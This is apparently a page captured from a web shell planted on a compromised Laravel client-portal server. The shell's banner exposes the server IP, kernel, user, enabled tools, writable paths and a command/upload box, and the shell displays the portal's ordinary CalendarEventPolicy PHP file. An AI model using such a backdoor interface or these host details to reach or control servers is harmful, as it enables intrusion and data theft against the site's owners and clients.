403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/client-portal-laravel/releases/20260626120707/app/Policies/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/client-portal-laravel/releases/20260626120707/app/Policies/CalendarEventPolicy.php
<?php

declare(strict_types=1);

namespace App\Policies;

use App\Models\Core\User;
use App\Models\Scheduling\CalendarEvent;

/**
 * Plan 224: Authorization policy for CalendarEvent.
 *
 * Admins have full access to all calendar events.
 * Client users can only view events associated with their clients.
 * External (Google-synced) events are read-only for everyone.
 */
class CalendarEventPolicy
{
    /**
     * Determine whether the user can view any calendar events.
     */
    public function viewAny(User $user): bool
    {
        // All authenticated users can access the calendar/events list
        // The query will be scoped appropriately based on role
        return true;
    }

    /**
     * Determine whether the user can view the calendar event.
     */
    public function view(User $user, CalendarEvent $event): bool
    {
        // Admins can view all events
        if ($user->isAdmin()) {
            return true;
        }

        // Client users can view events associated with their clients
        if ($event->client_id) {
            return $user->belongsToClient($event->client);
        }

        // Events without a client are admin-only
        return false;
    }

    /**
     * Determine whether the user can create calendar events.
     */
    public function create(User $user): bool
    {
        return $user->isAdmin();
    }

    /**
     * Determine whether the user can update the calendar event.
     */
    public function update(User $user, CalendarEvent $event): bool
    {
        // External events (synced from Google) are read-only
        if ($event->is_external) {
            return false;
        }

        return $user->isAdmin();
    }

    /**
     * Determine whether the user can delete the calendar event.
     */
    public function delete(User $user, CalendarEvent $event): bool
    {
        // External events (synced from Google) cannot be deleted locally
        if ($event->is_external) {
            return false;
        }

        return $user->isAdmin();
    }

    /**
     * Determine whether the user can restore the calendar event.
     */
    public function restore(User $user, CalendarEvent $event): bool
    {
        return $user->isAdmin();
    }

    /**
     * Determine whether the user can permanently delete the calendar event.
     */
    public function forceDelete(User $user, CalendarEvent $event): bool
    {
        return $user->isAdmin();
    }

    /**
     * Determine whether the user can confirm the calendar event.
     */
    public function confirm(User $user, CalendarEvent $event): bool
    {
        // External events cannot be modified
        if ($event->is_external) {
            return false;
        }

        // Can't confirm already completed/cancelled events
        if (in_array($event->status, [
            CalendarEvent::STATUS_COMPLETED,
            CalendarEvent::STATUS_CANCELLED,
            CalendarEvent::STATUS_NO_SHOW,
        ])) {
            return false;
        }

        return $user->isAdmin();
    }

    /**
     * Determine whether the user can complete the calendar event.
     */
    public function complete(User $user, CalendarEvent $event): bool
    {
        // External events cannot be modified
        if ($event->is_external) {
            return false;
        }

        // Can't complete already finalized events
        if (in_array($event->status, [
            CalendarEvent::STATUS_COMPLETED,
            CalendarEvent::STATUS_CANCELLED,
            CalendarEvent::STATUS_NO_SHOW,
        ])) {
            return false;
        }

        return $user->isAdmin();
    }

    /**
     * Determine whether the user can cancel the calendar event.
     */
    public function cancel(User $user, CalendarEvent $event): bool
    {
        // External events cannot be modified
        if ($event->is_external) {
            return false;
        }

        // Can't cancel already finalized events
        if (in_array($event->status, [
            CalendarEvent::STATUS_COMPLETED,
            CalendarEvent::STATUS_CANCELLED,
            CalendarEvent::STATUS_NO_SHOW,
        ])) {
            return false;
        }

        return $user->isAdmin();
    }

    /**
     * Determine whether the user can mark the event as no-show.
     */
    public function markNoShow(User $user, CalendarEvent $event): bool
    {
        // External events cannot be modified
        if ($event->is_external) {
            return false;
        }

        // Can't mark as no-show if already finalized
        if (in_array($event->status, [
            CalendarEvent::STATUS_COMPLETED,
            CalendarEvent::STATUS_CANCELLED,
            CalendarEvent::STATUS_NO_SHOW,
        ])) {
            return false;
        }

        return $user->isAdmin();
    }

    /**
     * Determine whether the user can reschedule the calendar event.
     */
    public function reschedule(User $user, CalendarEvent $event): bool
    {
        // External events cannot be modified
        if ($event->is_external) {
            return false;
        }

        // Can't reschedule finalized events
        if (in_array($event->status, [
            CalendarEvent::STATUS_COMPLETED,
            CalendarEvent::STATUS_CANCELLED,
            CalendarEvent::STATUS_NO_SHOW,
        ])) {
            return false;
        }

        // Admins can always reschedule
        if ($user->isAdmin()) {
            return true;
        }

        // Client users can request reschedule for their events
        if ($event->client_id) {
            return $user->belongsToClient($event->client);
        }

        return false;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit